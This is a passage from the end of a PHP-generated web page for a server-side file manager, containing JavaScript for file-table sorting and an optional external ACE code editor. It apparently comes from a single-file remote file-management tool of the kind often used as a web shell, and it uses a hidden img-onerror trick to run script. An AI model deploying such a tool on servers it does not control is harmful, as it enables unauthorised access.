return Object.getOwnPropertyDescriptor(HTMLTextAreaElement.prototype, 'value').set.call(this, value);
},
get(){
return Object.getOwnPropertyDescriptor(HTMLTextAreaElement.prototype, 'value').get.call(this);
}
});
}
function buildSelectFor(array, selected = '', onChange = ''){
var select = document.createElement('select');
select.setAttribute('onchange', onChange);
array.forEach(function(item){
var option = document.createElement('option');
option.value = option.textContent = item;
if(item == selected) option.selected = true;
select.appendChild(option);
});
return select;
}
function insertCodeEditor(){
document.getElementById('tmplFrmFile').innerHTML = document.getElementById('tmplFrmFile').innerHTML.replace(/<\/a><\/div>/g,'</a> <a href="#" class="cntrl" title="Code Editor

After clicking, the EXTERNAL JS file will be loaded:

<?=$GLOBALS['ACECONF']['URL']?>" onclick="aceEditorProcess(this);return false"><small>E</small></a><?=($GLOBALS['ACECONF']['DEFAULT'] ? '<img/src/onerror="aceFileEditor(this);"/style="display:none;"/>' : '')?></div>');
}
insertCodeEditor();
<?php } ?>
function addSortToFM(){
var fmTblCols = document.getElementById('tblFiles').children[0].children[0].children;
for(i = 0; i <= fmTblCols.length; i++){
if(fmTblCols[i] && fmTblCols[i].textContent){
var name = fmTblCols[i].textContent.toLowerCase();
fmTblCols[i].style = fmTblCols[i].style + '; cursor: pointer;';
fmTblCols[i].title = 'Sort files by ' + name;
fmTblCols[i].setAttribute('onclick', 'sortFilesBy("' + name + '");');
}
}
}
function sortFilesBy(name){
var sorts = {'nam': '1','ext': '2','siz': '11','mod': '12','per': '14','own': '15'};
var sort = sorts[name.substr(0, 3)];
if(sort){
fmSort = [(sort == fmSort[1] && fmSort[0] != -1 ? -1 : 1), sort];
goTo(document.getElementById('frmFM').p.value);
}
}
addSortToFM();
window.location = '#<?=$GLOBALS['DEFAULT_TAB']?>';
window.addEventListener('load',function(){
<?=($GLOBALS['DEFAULT_TAB'] == 'tabFM' ? 'goTo("~");' : '')?>
<?=($GLOBALS['ACECONF']['DEFAULT'] ? 'aceEditorProcess();' : '')?>
});
</script>
</html>
<?php $out = ob_get_contents(); ob_end_clean(); ob_start('ob_gzhandler'); exit(makeOut($out));